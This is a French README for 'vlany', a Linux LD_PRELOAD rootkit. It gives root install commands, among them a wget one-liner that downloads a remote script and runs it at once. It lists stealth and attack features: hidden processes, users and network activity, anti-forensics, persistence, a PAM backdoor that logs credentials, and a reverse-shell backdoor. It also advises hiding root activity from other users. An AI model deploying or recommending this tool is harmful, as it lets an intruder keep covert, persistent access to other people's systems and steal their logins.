vlany

VLANY N'EST PLUS MAINTENU.

https://github.com/naworkcaj/bdvl EST. VEUILLEZ VOUS RÉFÉRER À CELA POUR DES MISES À JOUR CONSTANTES.

vlany (wiki)

vlany est un rootkit Linux LD_PRELOAD .

• Liste des fonctionnalités
  
• Anti-détection

Installation

• Le script quick_install.sh de vlany est la méthode d'installation la plus rapide/la plus simple.
  root@vlany:~# wget https://gist.githubusercontent.com/mempodippy/d93fd99164bace9e63752afb791a896b/raw/6b06d235beac8590f56c47b7f46e2e4fac9cf584/quick_install.sh -O /tmp/quick_install.sh && chmod +x /tmp/quick_install.sh && /tmp/quick_install.sh
  
  Le script quick_install.sh télécharge automatiquement la dernière version de vlany à partir de ce référentiel, décompresse l'archive, puis exécute le script d'installation standard à partir d'un nouveau répertoire aléatoire dans /tmp/. Par défaut, le script quick_install.sh supprime le nouveau répertoire une fois l'exécution complètement terminée.
  

• Il est très simple d'installer vlany sur un système car il est livré avec un script d'installation automatisé.
  Pour installer vlany, vous souhaitez d'abord le télécharger depuis notre GitHub (toujours à jour et fiable)
  root@vlany:~# wget https://github.com/mempodippy/vlany/archive/master.tar.gz && tar xvpfz master.tar.gz

• Une fois téléchargé, il vous suffit d'exécuter install.sh dans vlany-master.
  root@vlany:~# cd vlany-master && ./install.sh
  Par défaut, cela vous demandera une installation tui, mais si cli est préféré, vous pouvez utiliser l'argument --cli pour appeler une installation cli similaire.
  

ASCIICAST D'INSTALLATION

Installation régulière de Tui sur une machine Debian 8 utilisant un binaire suid pour élever les privilèges d'un utilisateur tmp. Dans un scénario réel, vous souhaiterez jouer avec certaines variables d'environnement pour empêcher quiconque de voir votre activité en tant que root.

Téléchargements

quick_install.sh
vlany.tar.gz
const.h rempli (après l'exécution de config.py)

Caractéristiques

• Masquage du processus
• Utilisateur masqué
• Dissimulation du réseau
• Conteneur LXC
• Anti-débogage
• Anti-criminalistique
• (Ré)installation persistante et anti-détection
• Modifications de l'éditeur de liens dynamiques
• Portes dérobées
  • porte dérobée accept() (dérivée de Jynx2)
  • Porte dérobée PAM
    • Enregistreur d'authentification PAM
  • porte dérobée à coque inversée Snodew
• commandes exclusives à vlany

Bogues connus

Tous les bogues répertoriés ici seront présents jusqu'à ce qu'une résolution soit trouvée. Si un bug a été signalé comme problème, le problème correspondant sera également lié dans la liste des bugs. Si un bug est résolu, la liste sera supprimée d'ici, et si un problème reste ouvert concernant le bug, il sera fermé.

Bugs sérieux

1. Il existe actuellement un correctif expérimental de brique de redémarrage. Certains systèmes fonctionneront en brique, d'autres non. Veuillez signaler tout système qui se bloque au redémarrage comme un problème et indiquer les circonstances de l'installation de vlany dans le rapport. Jetez un œil à la page Problèmes pour voir si un problème similaire a déjà été soumis.
2. vlany ne parvient pas à s'installer correctement sur tout ce qui est supérieur à CentOS 6.6.

README.txt approfondi (très détaillé mais non maintenu)

REMARQUE : vlany est en développement actif. Des modifications sont constamment apportées à ce référentiel, alors attention, vlany est très expérimental.